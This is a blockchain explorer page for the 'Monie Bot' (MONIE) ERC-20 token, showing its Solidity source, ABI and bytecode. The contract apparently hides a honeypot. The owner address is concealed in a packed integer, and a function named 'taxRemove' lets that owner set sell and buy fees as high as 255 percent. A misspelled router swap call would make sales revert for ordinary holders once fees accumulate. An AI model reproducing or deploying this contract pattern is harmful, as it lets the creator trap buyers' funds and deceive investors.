ERC-20
Overview
Max Total Supply
500,000 MONIE
Holders
3
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
23,741.486879077963518597 MONIEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
MONIE
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-13 */ /** */ /* TG: https://t.me/moniebotportal X: https://x.com/monie_bot Website: www.moniebot.com */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.0; interface IUniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFreelyOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract MONIE { string private _name = unicode"Monie Bot"; string private _symbol = unicode"MONIE"; uint8 public constant decimals = 18; uint256 public constant totalSupply = 500_000 * 10**decimals; uint256 public encodeUint256; uint256 constant swapAmount = totalSupply / 100; error Permissions(); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed TOKEN_MKT, address indexed spender, uint256 value ); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public pair; IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); bool private swapping; bool private tradingOpen; constructor() { uint8 _initBuyFee = 5; uint8 _initSellFee = 5; _encodeData(msg.sender, _initBuyFee, _initSellFee); balanceOf[msg.sender] = totalSupply; allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max; emit Transfer(address(0), msg.sender, totalSupply); } receive() external payable {} function taxRemove(uint8 _buy, uint8 _sell) external { if (msg.sender != _decodeTokenMkt()) revert Permissions(); _encodeData(msg.sender, _buy, _sell); } function _encodeData(address _address, uint8 _buyFee, uint8 _sellFee) private { encodeUint256 = uint256(uint160(_address)); encodeUint256 = (encodeUint256 << 8) | _buyFee; encodeUint256 = (encodeUint256 << 8) | _sellFee; } function _decodeTokenMkt() private view returns(address) { address _address = address(uint160(encodeUint256 >> 16)); return _address; } function _decodeTaxes() private view returns(uint8, uint8) { uint8 _buyFee = uint8(encodeUint256 >> 8); uint8 _sellFee = uint8(encodeUint256); return (_buyFee, _sellFee); } function openTrading() external { require(msg.sender == _decodeTokenMkt()); require(!tradingOpen); address _factory = _uniswapV2Router.factory(); address _weth = _uniswapV2Router.WETH(); address _pair = IUniswapFactory(_factory).getPair(address(this), _weth); pair = _pair; tradingOpen = true; } function transferFrom( address from, address to, uint256 amount ) external returns (bool) { allowance[from][msg.sender] -= amount; return _transfer(from, to, amount); } function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external returns (bool) { return _transfer(msg.sender, to, amount); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function _transfer( address from, address to, uint256 amount ) internal returns (bool) { address tokenMkt = _decodeTokenMkt(); require(tradingOpen || from == tokenMkt || to == tokenMkt); balanceOf[from] -= amount; if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) { swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _uniswapV2Router .swapExactTokensForETHSupportingFreelyOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); payable(tokenMkt).transfer(address(this).balance); swapping = false; } (uint8 _buyFee, uint8 _sellFee) = _decodeTaxes(); if (from != address(this) && tradingOpen == true) { uint256 taxCalculatedAmount = (amount * (to == pair ? _sellFee : _buyFee)) / 100; amount -= taxCalculatedAmount; balanceOf[address(this)] += taxCalculatedAmount; } balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"encodeUint256","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"taxRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526009608090815268135bdb9a5948109bdd60ba1b60a0525f90620000299082620001d3565b506040805180820190915260058152644d4f4e494560d81b6020820152600190620000559082620001d3565b5034801562000062575f80fd5b5033600890811b610100600160a81b0316600590811790911b8117600255806200008f6012600a620003ae565b6200009e906207a120620003c5565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200010d6012600a620003ae565b6200011c906207a120620003c5565b60405190815260200160405180910390a35050620003df565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200015e57607f821691505b6020821081036200017d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620001ce57805f5260205f20601f840160051c81016020851015620001aa5750805b601f840160051c820191505b81811015620001cb575f8155600101620001b6565b50505b505050565b81516001600160401b03811115620001ef57620001ef62000135565b620002078162000200845462000149565b8462000183565b602080601f8311600181146200023d575f8415620002255750858301515b5f19600386901b1c1916600185901b17855562000297565b5f85815260208120601f198616915b828110156200026d578886015182559484019460019091019084016200024c565b50858210156200028b57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002f357815f1904821115620002d757620002d76200029f565b80851615620002e557918102915b93841c9390800290620002b8565b509250929050565b5f826200030b57506001620003a8565b816200031957505f620003a8565b81600181146200033257600281146200033d576200035d565b6001915050620003a8565b60ff8411156200035157620003516200029f565b50506001821b620003a8565b5060208310610133831016604e8410600b841016171562000382575081810a620003a8565b6200038e8383620002b3565b805f1904821115620003a457620003a46200029f565b0290505b92915050565b5f620003be60ff841683620002fb565b9392505050565b8082028115828204841417620003a857620003a86200029f565b610e3b80620003ed5f395ff3fe6080604052600436106100c2575f3560e01c806370a082311161007c578063a8aa1b3111610057578063a8aa1b3114610202578063a9059cbb14610239578063c9567bf914610258578063dd62ed3e1461026c575f80fd5b806370a08231146101a25780637a9cc673146101cd57806395d89b41146101ee575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce56714610167578063396adc5a1461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102a2565b6040516100ee9190610a6c565b60405180910390f35b348015610102575f80fd5b50610116610111366004610acf565b610331565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a61039d565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610af9565b6103b9565b348015610172575f80fd5b5061017b601281565b60405160ff90911681526020016100ee565b348015610198575f80fd5b5061013a60025481565b3480156101ad575f80fd5b5061013a6101bc366004610b37565b60036020525f908152604090205481565b3480156101d8575f80fd5b506101ec6101e7366004610b67565b610406565b005b3480156101f9575f80fd5b506100e1610466565b34801561020d575f80fd5b50600554610221906001600160a01b031681565b6040516001600160a01b0390911681526020016100ee565b348015610244575f80fd5b50610116610253366004610acf565b610475565b348015610263575f80fd5b506101ec610488565b348015610277575f80fd5b5061013a610286366004610b98565b600460209081525f928352604080842090915290825290205481565b60605f80546102b090610bcf565b80601f01602080910402602001604051908101604052809291908181526020018280546102dc90610bcf565b80156103275780601f106102fe57610100808354040283529160200191610327565b820191905f5260205f20905b81548152906001019060200180831161030a57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061038b9086815260200190565b60405180910390a35060015b92915050565b6103a96012600a610cfb565b6103b6906207a120610d09565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906103ed908490610d20565b909155506103fe905084848461064a565b949350505050565b60025460101c6001600160a01b0316336001600160a01b03161461043c57604051629af2b160e81b815260040160405180910390fd5b610462338383610100600160a81b03600893841b1660ff9283161790921b911617600255565b5050565b6060600180546102b090610bcf565b5f61048133848461064a565b9392505050565b60025460101c6001600160a01b0316336001600160a01b0316146104aa575f80fd5b600554600160a81b900460ff16156104c0575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610511573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105359190610d33565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610588573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ac9190610d33565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa1580156105fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061f9190610d33565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f8061065860025460101c90565b600554909150600160a81b900460ff16806106845750806001600160a01b0316856001600160a01b0316145b806106a05750806001600160a01b0316846001600160a01b0316145b6106a8575f80fd5b6001600160a01b0385165f90815260036020526040812080548592906106cf908490610d20565b90915550506005546001600160a01b0385811691161480156106fb5750600554600160a01b900460ff16155b8015610739575060646107106012600a610cfb565b61071d906207a120610d09565b6107279190610d4e565b305f9081526003602052604090205410155b80156107575750806001600160a01b0316856001600160a01b031614155b15610934576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106107a2576107a2610d6d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610812573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108369190610d33565b8160018151811061084957610849610d6d565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646108896012600a610cfb565b610896906207a120610d09565b6108a09190610d4e565b5f8430426040518663ffffffff1660e01b81526004016108c4959493929190610d81565b5f604051808303815f87803b1580156108db575f80fd5b505af11580156108ed573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610924573d5f803e3d5ffd5b50506005805460ff60a01b191690555b5f80610944600254600881901c91565b90925090506001600160a01b03871630148015906109705750600554600160a81b900460ff1615156001145b156109e4576005545f906064906001600160a01b038981169116146109955783610997565b825b6109a49060ff1688610d09565b6109ae9190610d4e565b90506109ba8187610d20565b305f908152600360205260408120805492985083929091906109dd908490610df2565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610a0b908490610df2565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610a5791815260200190565b60405180910390a35060019695505050505050565b5f602080835283518060208501525f5b81811015610a9857858101830151858201604001528201610a7c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610acc575f80fd5b50565b5f8060408385031215610ae0575f80fd5b8235610aeb81610ab8565b946020939093013593505050565b5f805f60608486031215610b0b575f80fd5b8335610b1681610ab8565b92506020840135610b2681610ab8565b929592945050506040919091013590565b5f60208284031215610b47575f80fd5b813561048181610ab8565b803560ff81168114610b62575f80fd5b919050565b5f8060408385031215610b78575f80fd5b610b8183610b52565b9150610b8f60208401610b52565b90509250929050565b5f8060408385031215610ba9575f80fd5b8235610bb481610ab8565b91506020830135610bc481610ab8565b809150509250929050565b600181811c90821680610be357607f821691505b602082108103610c0157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610c5557815f1904821115610c3b57610c3b610c07565b80851615610c4857918102915b93841c9390800290610c20565b509250929050565b5f82610c6b57506001610397565b81610c7757505f610397565b8160018114610c8d5760028114610c9757610cb3565b6001915050610397565b60ff841115610ca857610ca8610c07565b50506001821b610397565b5060208310610133831016604e8410600b8410161715610cd6575081810a610397565b610ce08383610c1b565b805f1904821115610cf357610cf3610c07565b029392505050565b5f61048160ff841683610c5d565b808202811582820484141761039757610397610c07565b8181038181111561039757610397610c07565b5f60208284031215610d43575f80fd5b815161048181610ab8565b5f82610d6857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610dd15784516001600160a01b031683529383019391830191600101610dac565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561039757610397610c0756fea2646970667358221220acdb83ff55f6e531b27a8b4c2dc784ca51b7ea6b97659c806d7c92cf0a804d1c64736f6c63430008170033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c806370a082311161007c578063a8aa1b3111610057578063a8aa1b3114610202578063a9059cbb14610239578063c9567bf914610258578063dd62ed3e1461026c575f80fd5b806370a08231146101a25780637a9cc673146101cd57806395d89b41146101ee575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce56714610167578063396adc5a1461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102a2565b6040516100ee9190610a6c565b60405180910390f35b348015610102575f80fd5b50610116610111366004610acf565b610331565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a61039d565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610af9565b6103b9565b348015610172575f80fd5b5061017b601281565b60405160ff90911681526020016100ee565b348015610198575f80fd5b5061013a60025481565b3480156101ad575f80fd5b5061013a6101bc366004610b37565b60036020525f908152604090205481565b3480156101d8575f80fd5b506101ec6101e7366004610b67565b610406565b005b3480156101f9575f80fd5b506100e1610466565b34801561020d575f80fd5b50600554610221906001600160a01b031681565b6040516001600160a01b0390911681526020016100ee565b348015610244575f80fd5b50610116610253366004610acf565b610475565b348015610263575f80fd5b506101ec610488565b348015610277575f80fd5b5061013a610286366004610b98565b600460209081525f928352604080842090915290825290205481565b60605f80546102b090610bcf565b80601f01602080910402602001604051908101604052809291908181526020018280546102dc90610bcf565b80156103275780601f106102fe57610100808354040283529160200191610327565b820191905f5260205f20905b81548152906001019060200180831161030a57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061038b9086815260200190565b60405180910390a35060015b92915050565b6103a96012600a610cfb565b6103b6906207a120610d09565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906103ed908490610d20565b909155506103fe905084848461064a565b949350505050565b60025460101c6001600160a01b0316336001600160a01b03161461043c57604051629af2b160e81b815260040160405180910390fd5b610462338383610100600160a81b03600893841b1660ff9283161790921b911617600255565b5050565b6060600180546102b090610bcf565b5f61048133848461064a565b9392505050565b60025460101c6001600160a01b0316336001600160a01b0316146104aa575f80fd5b600554600160a81b900460ff16156104c0575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610511573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105359190610d33565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610588573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ac9190610d33565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa1580156105fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061f9190610d33565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f8061065860025460101c90565b600554909150600160a81b900460ff16806106845750806001600160a01b0316856001600160a01b0316145b806106a05750806001600160a01b0316846001600160a01b0316145b6106a8575f80fd5b6001600160a01b0385165f90815260036020526040812080548592906106cf908490610d20565b90915550506005546001600160a01b0385811691161480156106fb5750600554600160a01b900460ff16155b8015610739575060646107106012600a610cfb565b61071d906207a120610d09565b6107279190610d4e565b305f9081526003602052604090205410155b80156107575750806001600160a01b0316856001600160a01b031614155b15610934576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106107a2576107a2610d6d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610812573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108369190610d33565b8160018151811061084957610849610d6d565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646108896012600a610cfb565b610896906207a120610d09565b6108a09190610d4e565b5f8430426040518663ffffffff1660e01b81526004016108c4959493929190610d81565b5f604051808303815f87803b1580156108db575f80fd5b505af11580156108ed573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610924573d5f803e3d5ffd5b50506005805460ff60a01b191690555b5f80610944600254600881901c91565b90925090506001600160a01b03871630148015906109705750600554600160a81b900460ff1615156001145b156109e4576005545f906064906001600160a01b038981169116146109955783610997565b825b6109a49060ff1688610d09565b6109ae9190610d4e565b90506109ba8187610d20565b305f908152600360205260408120805492985083929091906109dd908490610df2565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610a0b908490610df2565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610a5791815260200190565b60405180910390a35060019695505050505050565b5f602080835283518060208501525f5b81811015610a9857858101830151858201604001528201610a7c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610acc575f80fd5b50565b5f8060408385031215610ae0575f80fd5b8235610aeb81610ab8565b946020939093013593505050565b5f805f60608486031215610b0b575f80fd5b8335610b1681610ab8565b92506020840135610b2681610ab8565b929592945050506040919091013590565b5f60208284031215610b47575f80fd5b813561048181610ab8565b803560ff81168114610b62575f80fd5b919050565b5f8060408385031215610b78575f80fd5b610b8183610b52565b9150610b8f60208401610b52565b90509250929050565b5f8060408385031215610ba9575f80fd5b8235610bb481610ab8565b91506020830135610bc481610ab8565b809150509250929050565b600181811c90821680610be357607f821691505b602082108103610c0157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610c5557815f1904821115610c3b57610c3b610c07565b80851615610c4857918102915b93841c9390800290610c20565b509250929050565b5f82610c6b57506001610397565b81610c7757505f610397565b8160018114610c8d5760028114610c9757610cb3565b6001915050610397565b60ff841115610ca857610ca8610c07565b50506001821b610397565b5060208310610133831016604e8410600b8410161715610cd6575081810a610397565b610ce08383610c1b565b805f1904821115610cf357610cf3610c07565b029392505050565b5f61048160ff841683610c5d565b808202811582820484141761039757610397610c07565b8181038181111561039757610397610c07565b5f60208284031215610d43575f80fd5b815161048181610ab8565b5f82610d6857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610dd15784516001600160a01b031683529383019391830191600101610dac565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561039757610397610c0756fea2646970667358221220acdb83ff55f6e531b27a8b4c2dc784ca51b7ea6b97659c806d7c92cf0a804d1c64736f6c63430008170033
Deployed Bytecode Sourcemap
705:4644:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3749:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3397:207;;;;;;;;;;-1:-1:-1;3397:207:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;3397:207:0;1023:187:1;863:60:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;863:60:0;1215:177:1;3166:223:0;;;;;;;;;;-1:-1:-1;3166:223:0;;;;;:::i;:::-;;:::i;821:35::-;;;;;;;;;;;;854:2;821:35;;;;;2030:4:1;2018:17;;;2000:36;;1988:2;1973:18;821:35:0;1858:184:1;932:28:0;;;;;;;;;;;;;;;;1251:44;;;;;;;;;;-1:-1:-1;1251:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;1971:176;;;;;;;;;;-1:-1:-1;1971:176:0;;;;;:::i;:::-;;:::i;:::-;;3848:95;;;;;;;;;;;;;:::i;1375:19::-;;;;;;;;;;-1:-1:-1;1375:19:0;;;;-1:-1:-1;;;;;1375:19:0;;;;;;-1:-1:-1;;;;;2881:32:1;;;2863:51;;2851:2;2836:18;1375:19:0;2717:203:1;3612:129:0;;;;;;;;;;-1:-1:-1;3612:129:0;;;;;:::i;:::-;;:::i;2795:363::-;;;;;;;;;;;;;:::i;1302:64::-;;;;;;;;;;-1:-1:-1;1302:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;3749:91;3794:13;3827:5;3820:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3749:91;:::o;3397:207::-;3492:10;3465:4;3482:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;3482:30:0;;;;;;;;;;:39;;;3537:37;3465:4;;3482:30;;3537:37;;;;3515:6;1361:25:1;;1349:2;1334:18;;1215:177;3537:37:0;;;;;;;;-1:-1:-1;3592:4:0;3397:207;;;;;:::o;863:60::-;911:12;854:2;911;:12;:::i;:::-;901:22;;:7;:22;:::i;:::-;863:60;:::o;3166:223::-;-1:-1:-1;;;;;3299:15:0;;3282:4;3299:15;;;:9;:15;;;;;;;;3315:10;3299:27;;;;;;;:37;;3330:6;;3299:27;3282:4;;3299:37;;3330:6;;3299:37;:::i;:::-;;;;-1:-1:-1;3354:27:0;;-1:-1:-1;3364:4:0;3370:2;3374:6;3354:9;:27::i;:::-;3347:34;3166:223;-1:-1:-1;;;;3166:223:0:o;1971:176::-;2520:13;;2537:2;2520:19;-1:-1:-1;;;;;2039:31:0;:10;-1:-1:-1;;;;;2039:31:0;;2035:57;;2079:13;;-1:-1:-1;;;2079:13:0;;;;;;;;;;;2035:57;2103:36;2115:10;2127:4;2133:5;-1:-1:-1;;;;;2331:1:0;2314:18;;;;2313:30;;;;;2371:18;;;2370:31;;;2244:13;2354:47;2155:254;2103:36;1971:176;;:::o;3848:95::-;3895:13;3928:7;3921:14;;;;;:::i;3612:129::-;3676:4;3700:33;3710:10;3722:2;3726:6;3700:9;:33::i;:::-;3693:40;3612:129;-1:-1:-1;;;3612:129:0:o;2795:363::-;2520:13;;2537:2;2520:19;-1:-1:-1;;;;;2846:31:0;:10;-1:-1:-1;;;;;2846:31:0;;2838:40;;;;;;2898:11;;-1:-1:-1;;;2898:11:0;;;;2897:12;2889:21;;;;;;2921:16;1476:42;-1:-1:-1;;;;;2940:24:0;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2921:45;;2977:13;1476:42;-1:-1:-1;;;;;2993:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3043:55;;-1:-1:-1;;;3043:55:0;;3085:4;3043:55;;;5986:34:1;-1:-1:-1;;;;;6056:15:1;;;6036:18;;;6029:43;2977:39:0;;-1:-1:-1;3027:13:0;;3043:33;;;;;5921:18:1;;3043:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3109:4;:12;;-1:-1:-1;;;;;;3132:18:0;-1:-1:-1;;;;;3109:12:0;;;3132:18;;;;-1:-1:-1;;;3132:18:0;;;-1:-1:-1;;;2795:363:0:o;3951:1391::-;4064:4;4081:16;4100:17;2520:13;;2537:2;2520:19;;2417:158;4100:17;4136:11;;4081:36;;-1:-1:-1;;;;4136:11:0;;;;;:31;;;4159:8;-1:-1:-1;;;;;4151:16:0;:4;-1:-1:-1;;;;;4151:16:0;;4136:31;:49;;;;4177:8;-1:-1:-1;;;;;4171:14:0;:2;-1:-1:-1;;;;;4171:14:0;;4136:49;4128:58;;;;;;-1:-1:-1;;;;;4199:15:0;;;;;;:9;:15;;;;;:25;;4218:6;;4199:15;:25;;4218:6;;4199:25;:::i;:::-;;;;-1:-1:-1;;4247:4:0;;-1:-1:-1;;;;;4241:10:0;;;4247:4;;4241:10;:23;;;;-1:-1:-1;4256:8:0;;-1:-1:-1;;;4256:8:0;;;;4255:9;4241:23;:65;;;;-1:-1:-1;1011:3:0;911:12;854:2;911;:12;:::i;:::-;901:22;;:7;:22;:::i;:::-;997:17;;;;:::i;:::-;4286:4;4268:24;;;;:9;:24;;;;;;:38;;4241:65;:85;;;;;4318:8;-1:-1:-1;;;;;4310:16:0;:4;-1:-1:-1;;;;;4310:16:0;;;4241:85;4237:649;;;4343:8;:15;;-1:-1:-1;;;;4343:15:0;-1:-1:-1;;;4343:15:0;;;4397:16;;;4411:1;4397:16;;;;;;;;-1:-1:-1;;4397:16:0;;;;;;;;;;-1:-1:-1;4397:16:0;4373:40;;4446:4;4428;4433:1;4428:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;4428:23:0;;;-1:-1:-1;;;;;4428:23:0;;;;;1476:42;-1:-1:-1;;;;;4476:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4466:4;4471:1;4466:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4466:33:0;;;:7;;;;;;;;;;;:33;1476:42;4514:88;1011:3;911:12;854:2;911;:12;:::i;:::-;901:22;;:7;:22;:::i;:::-;997:17;;;;:::i;:::-;4658:1;4682:4;4717;4745:15;4514:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;4794:49:0;;-1:-1:-1;;;;;4794:26:0;;;-1:-1:-1;4821:21:0;4794:49;;;;;-1:-1:-1;4821:21:0;4794:49;;;;4821:21;4794:26;:49;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;4858:8:0;:16;;-1:-1:-1;;;;4858:16:0;;;4237:649;4899:13;4914:14;4932;2675:13;;2692:1;2675:18;;;;2583:204;4932:14;4898:48;;-1:-1:-1;4898:48:0;-1:-1:-1;;;;;;4961:21:0;;4977:4;4961:21;;;;:44;;-1:-1:-1;4986:11:0;;-1:-1:-1;;;4986:11:0;;;;:19;;5001:4;4986:19;4961:44;4957:280;;;5086:4;;5022:27;;5116:3;;-1:-1:-1;;;;;5080:10:0;;;5086:4;;5080:10;:31;;5104:7;5080:31;;;5093:8;5080:31;5053:59;;;;:6;:59;:::i;:::